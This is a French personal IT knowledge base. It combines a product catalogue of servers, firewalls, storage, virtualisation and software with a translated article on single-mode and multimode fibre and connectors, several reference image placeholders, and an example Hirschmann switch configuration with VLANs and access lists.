Foure Tout

Catalogue De produits

I. Hardware

1.1 Matériel serveur

Les principaux constructeurs sont :

Chaque constructeur propose, en plus des serveurs tour ou des serveurs rack 1 ou 2U, des solutions de châssis et de lames pour créer une infrastructure personnalisée.

Chaque constructeur dispose également de sa solution de prise à distance hardware, centralisée ou non comme HPE iLo par exemple

Astuce : Pour du matériel serveur, il y a également moyen de l'assembler soi-même mais cela requiers une connaissances poussée des composants et de leur performances ainsi que de leurs interactions.

II. Réseau

2.1 Matériel réseau

Les principaux constructeurs sont :

Si l'on veut payer moins cher la connectique, il y a ce site : FS

2.2 Pare feu

Les principaux constructeurs proposent à la fois des appliance matérielles et des solutions logicielles généralement installées sur celles-ci.

Nom de produit Appliance Logiciel Open source Type de licences
Sophos XG oui oui non gratuit pour un usage personnel
fortinet oui non non Achat + abonnement
Checkpoint oui non non Achat + abonnement
Stormshield oui non non Achat + abonnement
OPNsense oui oui oui community / abonnement
Pfsense oui oui oui community / abonnement

* il existe bien d'autres solutions pour les pare-feu comme Zyxel. Mais à l'heure actuelle, ceux-ci sont très en retard sur le marché ou proposent des produits ne répondant pas vraiment aux considérations actuelles.

III. Stockage

3.1 Baies de stockage

Les principaux constructeurs de baies de stockage sont :

3.2 NAS

Pour des NAS bureautiques :

3.3 Appliance logicielles

Si Truenas propose des solutions matérielles, il est possible d'installer sa solution logicielle sur une appliance ou un NAS.

De plus il en existe des versions gratuites que l'on peut même tester en VM.

*dépréciés, remplacés par : TrueNas Community


IV. Infrastructure / virtualisation

4.1 Virtualisation

4.1.1 Bureautique

Nom de produit Open source Type de licences
VMware workstation/fusion PRO non Gratuit
VirtualBox oui Gratuit

4.1.2 Infrastructure

Nom de produit Open source Type de licences
VMware esxi / Vcenter (vsphere) non ESXi gratuit, vcenter payant
Microsoft Hyper-V non Achat
RedHat Openshift oui Abonnement
Proxmox VE oui community / abonnement
OKD oui upstream

4.2 Conteneurisation

Nom de produit Open source Type de licences
Docker oui gratuit
Kubernetes oui gratuit / support
RedHat Openshift oui Abonnement
Proxmox VE oui Community / support
OKD oui upstream
KASM oui Abonnement

Pour gérer les conteneurs (docker notamment), Portainer.

Il existe une version community et une version enterprise (gratuite jusqu’à 3 nœuds).

V. OS Systèmes

5.1 Clients

Nom de produit Open source Type de licences
Windows 11 non Payant
MAC OS non

Payant

(packagé matériel)
CentOS stream oui Upstream
Debian  oui Gratuit 
RedHat oui Abonnement
Ubuntu oui gratuit / abonnement

5.2 Servers

Nom de produit Open source Type de licences
Windows Server 2022 & 2025 non Payant
CentOS stream oui Upstream
Debian  oui Gratuit 
RedHat oui Abonnement
Ubuntu oui gratuit / abonnement

VI. Produits / Services

5.1 Messagerie

Nom de produit Open source Type de licences
Microsoft exchange 2019 CU12 non Payant
Zimbra  oui Payant (depuis 2022) 
Postfix oui gratuit

5.2 Workspaces

Nom de produit Open source Type de licences
Sharepoint Server 2019 non Payant
Nextcloud oui gratuit / support
Owncloud oui Community / enterprise

5.3 Databases

Nom de produit Open source Type de licences
Microsoft SQL server 2025 non Payant
Mysql oui gratuit
MariaDB oui gratuit
PostgreSQL oui gratuit

VII. Logiciels

VIII. Archives

7.1 Offres web

Nom Type Lien
Apache Airflow
 Automation / Scheduling / Workflow manager

https://airflow.apache.org/
Drupal CMS Drupal core | Drupal.org
Dolibarr ERP Dolibarr Open Source ERP and CRM - Web suite for business
NextCloud

Cloud / Travail collaboratif

 Nextcloud - Online collaboration platform
Gitlab Git / Travail collaboratif

GitLab Community | GitLab | GitLab
GLPI ITSM/Ticketing

Accueil - GLPI Project (glpi-project.org)
Graphana Reporting / KPI

Grafana: The open observability platform | Grafana Labs
OSTicket Ticketing

osTicket | Support Ticketing System
PHPbb Forum phpBB • Free and Open Source Forum Software
PHPipam IPAM

phpIPAM IPAM IP address management software
PHPMyAdmin SQL Web Admin

phpMyAdmin
Sonatype Nexus Repo

Sonatype Nexus Repository
Webmin
 Centre d'administration pour les Linux

https://webmin.com/
Wordpress CMS
 WordPress.com

7.2 Produits

Type Nom Lien
Backup / sauvegarde  Veeam availability suite  Free Backup Software For Windows, VMware, & More - Veeam

Veeam agent For windows Veeam Software Downloads | Veeam


Proxmox backup server Proxmox Backup Server - Open-Source Enterprise Backup Solution

IDE / Devellopement

 Visual Studio Code Download Visual Studio Code - Mac, Linux, Windows

Réseau / simulation réseau

 Cisco packet tracer Cisco Packet Tracer - Networking Simulation Tool (netacad.com)


GNS3 GNS3 Documentation | GNS3 Documentation

Security / Pentesting

 Kalilinux Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution


PingCastle Home - PingCastle
     

Supervision

EyesOfNetwork

(Plus maintenu)

 EyesOfNetwork - Solution de supervision du système d'information


Nagios Nagios | Open Source Monitoring and Network Management


Zabbix Zabbix :: The Enterprise-Class Open Source Network Monitoring Solution

Autres

Type

 Nom Lien
Téléphonie / VOIP Audiocode AudioCodes - Voice DNA for the digital workplace
  Asterisk Home ⋆ Asterisk
VidéoSurveillance Milestone Global leading provider of video management | Milestone Systems

ZoneMinder ZoneMinder - ZoneMinder Cloud - /index.html



Dev & Scripting

Dev & Scripting

DEV - Niveaux des languages de programation

image.png

Dev & Scripting

DEV - Tables ASSCI

ascii1de2.png

ascii2de2.png

Infra

Infra

Cloud - Niveau de service

cloudniveauservice.png

Infra

VSCA - Hiérarche des droits

hyerarchiedroitsvcsa.webp

IoT

IoT

IoT - Arduino GPIO

Arduino Nano

image.png

IoT

IOT - Raspberry PI GPIO

4B+

image.png

Logiciels & CMS

Logiciels & CMS

VScode - catalogue d'extensions

Voici la liste des paquets que j'utilise dans mon environnement à titre informatif :

image.png

Ansible

image.png

Debugger Bash

image.png

Snippets pour scripting Bash

image.png

Debug d'appli en container

image.png

Permet d'ouvrer des espaces de dev dans des containers

image.png

 C/C++

image.png

 Docker

image.png

 Edit csv

image.png

 Git Extension Pack

image.png

 Git Graph

image.png

 HTML5 extension pack

image.png

 Web server live

image.png

 Markdown Preview Github Styling

image.png

 Extension pour utiliser des modèles locaux avec Ollama

image.png

 PowerShell

image.png

  Prettier

image.png

 Permet de manager les différents projets

image.png

 Package d’extensions pour coder en python et utiliser des Venvs.

image.png

image.png

image.png

image.png

 Plugin utilitaire pour le CSV

image.png

 Permet la connexion à des environnements distants

image.png

 Linter pour les scripts shell

image.png

 Extension pour utiliser WSL

image.png

 YAML

Matériel

Matériel

Hardware - Connectique série & LTP

DB9 to DB9

db9db9.png

DB25 to DB25

db25db25.png

DB9 to DB25

db9db25.png

RJ45 to DB9

rj45db9.png

Matériel

Hardware - La fibre optique

I. Monomode / Multimode

La demande fréquente de connexions sur des bandes passantes plus élevées et de connexions plus rapides a considérablement influencé la croissance du marché des assemblages de câbles à fibre optique, en particulier la fibre monomode (SMF) et le câble à fibre multimode (MMF). Bien que ces deux types de câbles à fibre optiqus soient largement utilisés dans de diverses applications, le problème—fibre monomode vs fibre multimode reste le même : quelle est la différence entre eux ?

L'article suivant va détailler la construction de base, la distance de la fibre, le coût et la couleur de la fibre, afin d'effectuer une comparaison approfondie entre les fibres monomodes et multimodes.

La fibre monomode signifie que la fibre permet de propager un type de mode d'éclairage à la fois. Alors que la fibre multimode signifie qu’elle peut propager plusieurs modes. La différence entre les fibres monomodes et multimodes se résume principalement dans le diamètre, la longueur d'onde, la source lumineuse et la bande passante du cœur de la fibre.
Diamètre du coeur
Le diamètre du noyau de fibre monomode est beaucoup plus petit que celui de la fibre multimode. Le diamètre typique du noyau est de 9 µm même s'il y en a d'autres disponibles. Le diamètre du cœur de la fibre multimode est généralement de 50 µm et de 62,5 µm, ce qui lui permet d’avoir une capacité de «collection de lumière» supérieure et de simplifier les connexions. Le diamètre de la gaine des fibres monomodes et multimodes est de 125 µm.

image.png

Longueur d'onde et source lumineuse

À cause de la grande taille de cœur des fibres multimodes, certaines sources lumineuses à faible coût, telles que les diodes électroluminescentes et les lasers à cavité verticale fonctionnant à la longueur d'onde de 850 nm et 1310 nm, sont utilisées dans les câbles multimodes. Alors que la fibre monomode utilise souvent un laser ou des diodes laser pour produire de la lumière injectée dans le câble. La longueur d'onde de la fibre monomode couramment utilisée est 1310 nm et 1550 nm.

Bande passante

La largeur de la bande de fibre multimode est limitée par son mode d'éclairage et la bande passante maximale actuelle est de 28 000 MHz * km de fibre OM5. Alors que la bande passante monomode en fibre est théoriquement illimitée, elle permet de faire passer une lumière de mode à la fois.

Couleur du revêtement

Selon la définition de la norme TIA-598C, le câble monomode est revêtu d'une enveloppe extérieure jaune, et la fibre multimode d'une enveloppe orange ou aqua. La charte des couleurs est à voir ci-dessous.

image.png

Distance de transmission

On sait que la fibre monomode convient aux applications de longue distance, tandis que la fibre optique multimode est conçue pour les courtes distances. Alors, en ce qui concerne la distance monomode vs multimode, quelles sont les vraies différences ?

Le graphe montre que la distance de fibre monomode est beaucoup plus longue que celle des câbles de fibre multimode au débit de 1G à 10G, mais la fibre multimode OM3/OM4/OM5 prend en charge un débit de données plus élevé. La distance de la fibre optique multimode ayant une taille de cœur importante et prenant en charge plusieurs modes d'éclairage, est limitée par la dispersion du modèle. Alors que la fibre monomode ne l'est pas. C’est la différence essentielle entre eux.

Coût du câblage

Le « les coûts de la fibre mode simple vs multimode » est un sujet important dans certains forums. Nombreux de personnes ont exprimé leurs opinions. Leurs points de vue portent principalement sur le coût de l’émetteur-récepteur optique, le coût du système et le coût de l’installation.

Prix de l'émetteur-récepteur optique

Comparé aux émetteurs-récepteurs monomodes, le prix des émetteurs-récepteurs multimodes est deux ou trois fois moins inférieur. Le tableau suivant prend comme exemple les émetteurs-récepteurs monomodes Cisco et les émetteurs-récepteurs multimodes compatibles FS.com.

D'après le table, nous pouvons voir que la différence de prix augmente proportionnellement avec la vitesse.

Prix du système

Les fibres monomodes sont généralement adaptées à des applications de longue distance, ce qui nécessite des émetteurs-récepteurs à fibre optique dotés de lasers fonctionnant sur des longueurs d’ondes plus longues avec une taille de spot plus petite et une largeur spectrale généralement plus étroite. Ces caractéristiques de l'émetteur-récepteur, associées à un alignement plus précis et à des tolérances de connecteur plus étroites pour des diamètres de noyau plus faibles, entraînent des coûts d'émetteur-récepteur nettement supérieurs et des coûts d'interconnexion globalement plus élevés pour les interconnexions de fibre en mode unique.

image.png

Les méthodes de fabrication des émetteurs-récepteurs à base de VCSEL optimisés pour une utilisation avec des fibres multimodes sont plus faciles à fabriquer dans des dispositifs matriciels et coûtent moins cher que les émetteurs-récepteurs monomodes équivalents. Malgré l'utilisation de multi-voies et de réseaux multi-émetteurs-récepteurs, il existe des économies de coûts significatives par rapport à la technologie monomode utilisant un fonctionnement simple ou multicanal sur une connectivité simplex-duplex.

Coûts de l’installation

La fibre optique monomode coûte souvent moins cher que la fibre multimode. Lorsque vous construisez un réseau à fibre optique 1G que vous souhaitez dans le futur l’améliorer en 10 G ou même un réseau plus rapide. En économisant les coûts en matière de la fibre pour un mode unique vous pouvez économiser jusqu’a environ demi-prix. Alors que la fibre multimode OM3 ou OM4 augmente de 35% le coût des modules SFP. L'optique monomode est plus chère, mais les coûts de main-d'œuvre liés au remplacement du multimode sont significativement plus élevés, surtout si ceux-ci suivaient OM1—OM2—OM3— OM4. Si vous voulez examiner les ex-SFP ex-fiberchannel, le prix du 1G monomode diminue considérablement. Si vous avez un budget et que vous avez besoin de connexions courtes 10G, les économies au dernier contrôle sont toujours compatibles avec le mode multimode.. Gardez un œil sur ces aspects économiques, car l’histoire suggère que le prix de la prime pour le mode simple diminuera.

Questions fréquentes sur les fibres monomodes et multimodes

Q : Quelle est la meilleure fibre, monomode ou multimode ?
R : Comme mentionné ci-dessus, les fibres monomodes et multimodes ont leurs propres avantages en termes de coût et d'applications. L’une n’est pas meilleure que l’autre. Il suffit de choisir celle qui convient le mieux à vos applications.
Q : Est-il possible de mélanger la fibre monomode et multimode ?
R : La réponse à cette question est "non". La fibre multimode et la fibre monomode ont des noyaux de tailles différentes, et le nombre de modes de lumière qu'elles transmettent est également différent. Si vous mélangez les deux fibres, ou si vous les connectez directement entre elles, vous risquez de subir une perte optique importante, ce qui entraînera un affaiblissement ou une rupture de la liaison. Gardez à l'esprit qu'il ne faut jamais mélanger différents types de câblage au hasard.
Q : Est-il possible d'utiliser un émetteur-récepteur multimode sur une fibre monomode ?
R : D'une manière générale, la réponse est "non". Une perte optique importante se produira si un émetteur-récepteur multimode est connecté avec une fibre monomode. Cependant, dans le cas inverse, cela fonctionnera. Par exemple, le SFP monomode 1000BASE-LX peut fonctionner sur un câble à fibre multimode en utilisant un câble à fibre de conditionnement de mode. Parfois, les convertisseurs de médias en fibre optique peuvent également être utilisés pour résoudre ces problèmes entre les émetteurs-récepteurs monomodes et multimodes.
Q : Fibre monomode ou multimode : laquelle choisir ?
R : Lorsque vous devez choisir entre un câble à fibre monomode et un câble à fibre multimode, le premier facteur à prendre en compte est la distance de fibre dont vous avez réellement besoin. Par exemple, dans un centre de données, des câbles en fibre multimode suffisent pour une distance de 300-400 mètres. Alors que dans les applications qui nécessitent une distance allant jusqu'à plusieurs milliers de mètres, la fibre monomode est le meilleur choix. Et dans les applications qui peuvent utiliser des fibres monomodes et multimodes, d'autres facteurs comme le coût et futures exigences de mise à niveau doivent être pris en considération pour votre choix.

Conclusion

Le système de câblage par fibre monomode convient aux applications de transmission de données à longue distance et est largement déployé dans les réseaux de transport, les MAN et les PON. Le système de câblage fibre multimode a une portée plus courte et est largement déployé dans les entreprises, les centres de données et les réseaux locaux. Quel que soit celui que vous choisissez, vous devez choisir ce qui convient le mieux à vos demandes.

II. Les Types de connecteurs de fibre optique

2.1 Introduction

Les acronymes SC, LC, FC et ST correspondent aux types  de connecteurs optiques les plus utilisés pour les applications FTTH et réseaux de communications. Quant à la terminologie PC/UPC/APC, cela correspond au type de polissage appliqué à la terminaison optique (férule) qui rend possible le passage de l'impulsion optique à travers deux fibres optiques.

Ainsi, par exemple un pigtail typique FTTH avec un connecteur SC/APC correspond à un connecteur SC avec un polissage APC.

Avant de commencer: Une bonne pratique est de conserver la propreté des ferrules pour garantir la liaison optique. Si le connecteur devient sale, un nettoyeur optique doit être utilisé pour retirer les poussières et les impuretés.

image.png
Schéma d'un connecteur pour fibre optique de type SC

2.2 Connecteurs les plus utilisés

image.png

Connecteur SC
Détails d'un connecteur optique SC (Subscriptor Connector or Square Connector)
Détails d'un connecteur optique SC (Subscriptor Connector or Square Connector)

Connecteur LC
Détail d'un connecteur optique LC (Lucent Connector or Little Connector)
Détail d'un connecteur optique LC (Lucent Connector or Little Connector)

Connecteur FC
Détails d'un connecteur optique FC (Ferrule Connector)
Détails d'un connecteur optique FC (Ferrule Connector)

Connecteur ST
Détails d'un connecteur optique ST (Straight Tip)
Détails d'un connecteur optique ST (Straight Tip)

2.3 Les polissages

image.png

2.4 Les Chartes couleurs

Chartes couleur des connecteurs
TYPE DE FIBRE OPTIQUE COULEUR DU CONNECTEUR
62.5/125 Beige
50/125 Noir
50/125 laser optimized Bleu marine
OM5 Vert clair
Monomode Bleu
Monomode avec APC Vert

Charte couleur des câbles

image.png

 

III. MUX / DEMUX

 

image.png

Matériel

Hardware - Layout claviers

Francais - Azerty

azerty.png

Anglais - Qwerty

qwerty.png

Allemand - Qwertz

image.png

Matériel

Hardware - Tensions PSU molex

molex.png

Méthodologie

Contient des ressources de méthodologie.

Méthodologie

Méthodologie - Choisir son annexe

Voici un schéma pour vous aider à choisir le type d’annexe que vous souhaitez intégrer dans votre document, ainsi que comment le mettre en forme :

choixannexe.png

Méthodologie

Méthodologie - Définir la priorité

image.png

Méthodologie

Méthodologie - Méthode PDCA

drawing-1-1756451832.png
Méthodologie

Méthodologie - Modèles d'architecture

image.png

Méthodologie

Méthodologie - Taxonomie de Bloom

image.png

Réseau

Réseau

Hirschmann - Exemple configuration


! GRS1042-6T6Z Configuration

! Version: HiOS-3A-08.6.00

! Build Date: 2021-01-14 12:51

network hidiscovery mode read-only 
no network hidiscovery operation 
network management access web timeout 30 
network out-of-band parms 10.10.10.1 255.255.255.0 0.0.0.0 
network out-of-band protocol none 
network management access add 2 
network management access add 3 
network management access add 4 
network management access modify 1 ip 10.10.10.0 
network management access modify 2 ip 192.168.33.59 
network management access modify 3 ip 192.168.7.247 
network management access modify 4 ip 192.168.7.248 
network management access modify 1 mask 24 
network management access modify 2 mask 32 
network management access modify 3 mask 32 
network management access modify 4 mask 32 
network management access modify 1 http disable 
network management access modify 2 http disable 
network management access modify 3 http disable 
network management access modify 4 http disable 
network management access modify 1 snmp disable 
network management access modify 2 snmp disable 
network management access modify 3 snmp disable 
network management access modify 1 telnet disable 
network management access modify 2 telnet disable 
network management access modify 3 telnet disable 
network management access modify 4 telnet disable 
network management access modify 1 iec61850-mms disable 
network management access modify 2 iec61850-mms disable 
network management access modify 3 iec61850-mms disable 
network management access modify 4 iec61850-mms disable 
network management access modify 1 modbus-tcp disable 
network management access modify 2 modbus-tcp disable 
network management access modify 3 modbus-tcp disable 
network management access modify 4 modbus-tcp disable 
network management access modify 1 ethernet-ip disable 
network management access modify 2 ethernet-ip disable 
network management access modify 3 ethernet-ip disable 
network management access modify 4 ethernet-ip disable 
network management access modify 1 profinet-io disable 
network management access modify 2 profinet-io disable 
network management access modify 3 profinet-io disable 
network management access modify 4 profinet-io disable 

vlan database
vlan add 30
vlan add 31
vlan add 32
vlan add 33
vlan add 39
name 30 encodeurs 
name 31 cameras 
name 32 admin 
name 33 video 
name 39 interco 
routing add 30 
routing add 31 
routing add 32 
routing add 33 
routing add 39 
igmp-snooping vlan-id 30 mode 
igmp-snooping vlan-id 31 mode 
igmp-snooping vlan-id 30 querier mode 
igmp-snooping vlan-id 31 querier mode 
exit
network management vlan 32 
network parms 0.0.0.0 0.0.0.0 0.0.0.0 
network protocol none 
! dot1x mac-authentication-bypass password  ""
configure
device-status monitor link-failure 
device-status monitor ring-redundancy 
device-status monitor module-removal 
device-status module 2 enable 
device-status module 3 enable 
mrp domain add default-domain
mrp domain modify port secondary 1/2 fixed-backup disable 
mrp domain modify advanced-mode enable 
mrp domain modify manager-priority 32768 
mrp domain modify mode client 
mrp domain modify name "" 
mrp domain modify recovery-delay 200ms 
mrp domain modify vlan 0 
mrp domain modify operation enable 
mrp operation enable 
no dns cache adminstate 
no dns client cache adminstate 
clock summer-time mode recurring 
clock summer-time recurring start last sun mar 02:00 
clock summer-time recurring end last sun oct 03:00 
config remote-backup operation 
config remote-backup destination ftp://192.168.33.59/Hirschmann/SW601X.xml 
! config remote-backup username ****** 
! config remote-backup password ****** 
config envm auto-update sd disable 
config envm auto-update usb disable 
config envm config-save sd disable 
config envm config-save usb disable 
config envm sshkey-auto-update sd disable 
config envm sshkey-auto-update usb disable 
no http server 
igmp-snooping forward-unknown query-ports 
igmp-snooping mode 
igmp-snooping querier mode 
monitor session 1 destination interface 1/8 
monitor session 1 source interface 3/8 operation enable
monitor session 1 source interface 3/8 direction txrx 
monitor session 1 mode enable 
ip routing 
ip vrrp operation 
ip vrrp trap auth-failure 
ip vrrp trap new-master 
ip vrrp domain 1 member-advertisement enable 
ip vrrp domain 2 member-advertisement enable 
ip vrrp domain 3 member-advertisement enable 
ip vrrp domain 4 member-advertisement enable 
ip vrrp domain 6 member-advertisement enable 
ip default-route add 192.168.39.249
passwords max-login-attempts 5 
passwords min-length 8 
ptp v2-transparent-clock vlan-priority 4 
no inlinepower operation 
security-status monitor pwd-policy-inactive 
security-status monitor extnvm-upd-enabled 
security-status monitor no-link-enabled 
security-status monitor sysmon-enabled 
security-status trap 
sntp client server add 1 192.168.33.1 port 123 description "NTP SE BPNL" 
sntp client server mode 1 enable 
sntp client operation 
sntp client request-interval 3600 
spanning-tree forceversion mstp 
spanning-tree forward-time 4 
spanning-tree hello-time 1 
spanning-tree max-age 6 
spanning-tree mst instance add 1 
spanning-tree mst instance modify 0 priority 36864 
spanning-tree mst instance modify 1 priority 32768 
spanning-tree mst instance modify 1 vlan add 33
spanning-tree mst instance modify 1 vlan add 39
spanning-tree configuration name BPNL 
spanning-tree configuration revision 30 
system location "Switch federateur : Site X" 
system name SW601X 

snmp trap add "Zabbix" 192.168.7.248:162
snmp trap mode Zabbix enable 
mac notification operation 
mac notification interval 60 
ip access-list extended name Vlan31_IN index 3 permit src 238.0.0.0-0.255.255.255 dst 172.20.0.0-0.0.255.255
ip access-list extended name Vlan31_IN index 4 permit src 172.20.0.0-0.0.255.255 dst 238.0.0.0-0.255.255.255
ip access-list extended name Vlan31_IN index 5 permit src 10.100.0.0-0.0.0.255 dst 172.20.0.0-0.0.255.255
ip access-list extended name Vlan31_IN index 6 permit src 172.20.0.0-0.0.255.255 dst 10.100.0.0-0.0.0.255
ip access-list extended name Vlan31_IN index 7 permit src 10.2.0.0-0.0.0.255 dst 172.20.0.0-0.0.255.255
ip access-list extended name Vlan31_IN index 8 permit src 172.20.0.0-0.0.255.255 dst 10.2.0.0-0.0.0.255
ip access-list extended name Vlan31_IN index 9 permit src 10.242.2.0-0.0.0.255 dst 172.20.0.0-0.0.255.255
ip access-list extended name Vlan31_IN index 10 permit src 172.20.0.0-0.0.255.255 dst 10.242.2.0-0.0.0.255
ip access-list extended name Vlan31_IN index 11 permit src 192.168.33.1-0.0.0.0 dst 172.20.0.0-0.0.255.255
ip access-list extended name Vlan31_IN index 12 permit src 172.20.0.0-0.0.255.255 dst 192.168.33.1-0.0.0.0
ip access-list extended name Vlan31_IN index 13 permit src 192.168.33.59-0.0.0.0 dst 172.20.0.0-0.0.255.255
ip access-list extended name Vlan31_IN index 14 permit src 172.20.0.0-0.0.255.255 dst 192.168.33.59-0.0.0.0
ip access-list extended name Vlan31_IN index 15 permit src 192.168.7.247-0.0.0.0 dst 172.20.0.0-0.0.255.255
ip access-list extended name Vlan31_IN index 16 permit src 172.20.0.0-0.0.255.255 dst 192.168.7.247-0.0.0.0
ip access-list extended name Vlan31_IN index 17 permit src 192.168.7.248-0.0.0.0 dst 172.20.0.0-0.0.255.255
ip access-list extended name Vlan31_IN index 18 permit src 172.20.0.0-0.0.255.255 dst 192.168.7.248-0.0.0.0
ip access-list extended name Vlan32_IN index 1 permit src any dst 224.0.0.0-0.255.255.255
ip access-list extended name Vlan32_IN index 2 permit src 192.168.32.0-0.0.0.255 dst 192.168.32.0-0.0.0.255
ip access-list extended name Vlan32_IN index 3 permit src 10.100.0.0-0.0.0.255 dst 192.168.32.0-0.0.0.255
ip access-list extended name Vlan32_IN index 4 permit src 192.168.32.0-0.0.0.255 dst 10.100.0.0-0.0.0.255
ip access-list extended name Vlan32_IN index 5 permit src 10.2.0.0-0.0.0.255 dst 192.168.32.0-0.0.0.255
ip access-list extended name Vlan32_IN index 6 permit src 192.168.32.0-0.0.0.255 dst 10.2.0.0-0.0.0.255
ip access-list extended name Vlan32_IN index 7 permit src 10.2.0.0-0.0.0.255 dst 192.168.32.0-0.0.0.255
ip access-list extended name Vlan32_IN index 8 permit src 192.168.32.0-0.0.0.255 dst 10.2.0.0-0.0.0.255
ip access-list extended name Vlan32_IN index 9 permit src 10.242.2.0-0.0.0.255 dst 192.168.32.0-0.0.0.255
ip access-list extended name Vlan32_IN index 10 permit src 192.168.32.0-0.0.0.255 dst 10.242.2.0-0.0.0.255
ip access-list extended name Vlan32_IN index 11 permit src 192.168.33.1-0.0.0.0 dst 192.168.32.0-0.0.0.255
ip access-list extended name Vlan32_IN index 12 permit src 192.168.32.0-0.0.0.255 dst 192.168.33.1-0.0.0.0
ip access-list extended name Vlan32_IN index 13 permit src 192.168.33.59-0.0.0.0 dst 192.168.32.0-0.0.0.255
ip access-list extended name Vlan32_IN index 14 permit src 192.168.32.0-0.0.0.255 dst 192.168.33.59-0.0.0.0
ip access-list extended name Vlan32_IN index 15 permit src 192.168.7.247-0.0.0.0 dst 192.168.32.0-0.0.0.255
ip access-list extended name Vlan32_IN index 16 permit src 192.168.32.0-0.0.0.255 dst 192.168.7.247-0.0.0.0
ip access-list extended name Vlan32_IN index 17 permit src 192.168.7.248-0.0.0.0 dst 192.168.32.0-0.0.0.255
ip access-list extended name Vlan32_IN index 18 permit src 192.168.32.0-0.0.0.255 dst 192.168.7.248-0.0.0.0
ip access-list extended name Vlan33_IN index 1 permit src any dst 224.0.0.0-0.255.255.255
ip access-list extended name Vlan33_IN index 2 permit src 192.168.33.0-0.0.0.255 dst 192.168.33.0-0.0.0.255
ip access-list extended name Vlan33_IN index 3 permit src 10.100.0.0-0.0.0.255 dst 192.168.33.0-0.0.0.255
ip access-list extended name Vlan33_IN index 4 permit src 192.168.33.0-0.0.0.255 dst 10.100.0.0-0.0.0.255
ip access-list extended name Vlan33_IN index 5 permit src 10.2.0.0-0.0.0.255 dst 192.168.33.0-0.0.0.255
ip access-list extended name Vlan33_IN index 6 permit src 192.168.33.0-0.0.0.255 dst 10.2.0.0-0.0.0.255
ip access-list extended name Vlan33_IN index 7 permit src 10.242.2.0-0.0.0.255 dst 192.168.33.0-0.0.0.255
ip access-list extended name Vlan33_IN index 8 permit src 192.168.33.0-0.0.0.255 dst 10.242.2.0-0.0.0.255
ip access-list extended name Vlan33_IN index 9 permit src 192.168.7.247-0.0.0.0 dst 192.168.33.0-0.0.0.255
ip access-list extended name Vlan33_IN index 10 permit src 192.168.33.0-0.0.0.255 dst 192.168.7.247-0.0.0.0
ip access-list extended name Vlan33_IN index 11 permit src 192.168.7.248-0.0.0.0 dst 192.168.33.0-0.0.0.255
ip access-list extended name Vlan33_IN index 12 permit src 192.168.33.0-0.0.0.255 dst 192.168.7.248-0.0.0.0
ip access-list extended name Vlan33_IN index 13 permit src 192.168.1.0-0.0.0.255 dst 192.168.33.1-0.0.0.0
ip access-list extended name Vlan33_IN index 14 permit src 192.168.33.1-0.0.0.0 dst 192.168.1.0-0.0.0.255
ip access-list extended name Vlan33_IN index 15 permit src 172.20.0.0-0.0.255.255 dst 192.168.33.1-0.0.0.0
ip access-list extended name Vlan33_IN index 16 permit src 192.168.33.1-0.0.0.0 dst 172.20.0.0-0.0.255.255
ip access-list extended name Vlan33_IN index 17 permit src 192.168.32.0-0.0.0.255 dst 192.168.33.1-0.0.0.0
ip access-list extended name Vlan33_IN index 18 permit src 192.168.33.1-0.0.0.0 dst 192.168.32.0-0.0.0.255
ip access-list extended name Vlan33_IN index 19 permit src 192.168.1.0-0.0.0.255 dst 192.168.33.59-0.0.0.0
ip access-list extended name Vlan33_IN index 20 permit src 192.168.33.59-0.0.0.0 dst 192.168.1.0-0.0.0.255
ip access-list extended name Vlan33_IN index 21 permit src 172.20.0.0-0.0.255.255 dst 192.168.33.59-0.0.0.0
ip access-list extended name Vlan33_IN index 22 permit src 192.168.33.59-0.0.0.0 dst 172.20.0.0-0.0.255.255
ip access-list extended name Vlan33_IN index 23 permit src 192.168.32.0-0.0.0.255 dst 192.168.33.59-0.0.0.0
ip access-list extended name Vlan33_IN index 24 permit src 192.168.33.59-0.0.0.0 dst 192.168.32.0-0.0.0.255
ip access-list extended name Vlan33_IN index 25 permit src 192.168.28.5-0.0.0.0 dst 192.168.33.11-0.0.0.0
ip access-list extended name Vlan33_IN index 26 permit src 192.168.33.11-0.0.0.0 dst 192.168.28.5-0.0.0.0
ip access-list extended name Vlan33_IN index 27 permit src 192.168.28.5-0.0.0.0 dst 192.168.33.12-0.0.0.0
ip access-list extended name Vlan33_IN index 28 permit src 192.168.33.12-0.0.0.0 dst 192.168.28.5-0.0.0.0
ip access-list extended name Vlan33_IN index 29 permit src 192.168.28.5-0.0.0.0 dst 192.168.33.21-0.0.0.0
ip access-list extended name Vlan33_IN index 30 permit src 192.168.33.21-0.0.0.0 dst 192.168.28.5-0.0.0.0
ip access-list extended name Vlan33_IN index 31 permit src 192.168.28.5-0.0.0.0 dst 192.168.33.22-0.0.0.0
ip access-list extended name Vlan33_IN index 32 permit src 192.168.33.22-0.0.0.0 dst 192.168.28.5-0.0.0.0
ip access-list extended name Vlan33_IN index 33 permit src 192.168.28.5-0.0.0.0 dst 192.168.33.23-0.0.0.0
ip access-list extended name Vlan33_IN index 34 permit src 192.168.33.23-0.0.0.0 dst 192.168.28.5-0.0.0.0
ip access-list extended name Vlan33_IN index 35 permit src 192.168.28.5-0.0.0.0 dst 192.168.33.31-0.0.0.0
ip access-list extended name Vlan33_IN index 36 permit src 192.168.33.31-0.0.0.0 dst 192.168.28.5-0.0.0.0
ip access-list extended name Vlan33_IN index 37 permit src 192.168.28.5-0.0.0.0 dst 192.168.33.32-0.0.0.0
ip access-list extended name Vlan33_IN index 38 permit src 192.168.33.32-0.0.0.0 dst 192.168.28.5-0.0.0.0
ip access-list extended name Vlan33_IN index 39 permit src 192.168.28.5-0.0.0.0 dst 192.168.33.33-0.0.0.0
ip access-list extended name Vlan33_IN index 40 permit src 192.168.33.33-0.0.0.0 dst 192.168.28.5-0.0.0.0
ip access-list extended name Vlan33_IN index 41 permit src 192.168.28.5-0.0.0.0 dst 192.168.33.34-0.0.0.0
ip access-list extended name Vlan33_IN index 42 permit src 192.168.33.34-0.0.0.0 dst 192.168.28.5-0.0.0.0
ip access-list extended name Vlan33_IN index 43 permit src 192.168.28.5-0.0.0.0 dst 192.168.33.35-0.0.0.0
ip access-list extended name Vlan33_IN index 44 permit src 192.168.33.35-0.0.0.0 dst 192.168.28.5-0.0.0.0
ip access-list extended name Vlan33_IN index 45 permit src 192.168.28.5-0.0.0.0 dst 192.168.33.36-0.0.0.0
ip access-list extended name Vlan33_IN index 46 permit src 192.168.33.36-0.0.0.0 dst 192.168.28.5-0.0.0.0
ip access-list extended name Vlan33_IN index 47 permit src 192.168.0.150-0.0.0.0 dst 192.168.33.21-0.0.0.0
ip access-list extended name Vlan33_IN index 48 permit src 192.168.33.21-0.0.0.0 dst 192.168.0.150-0.0.0.0
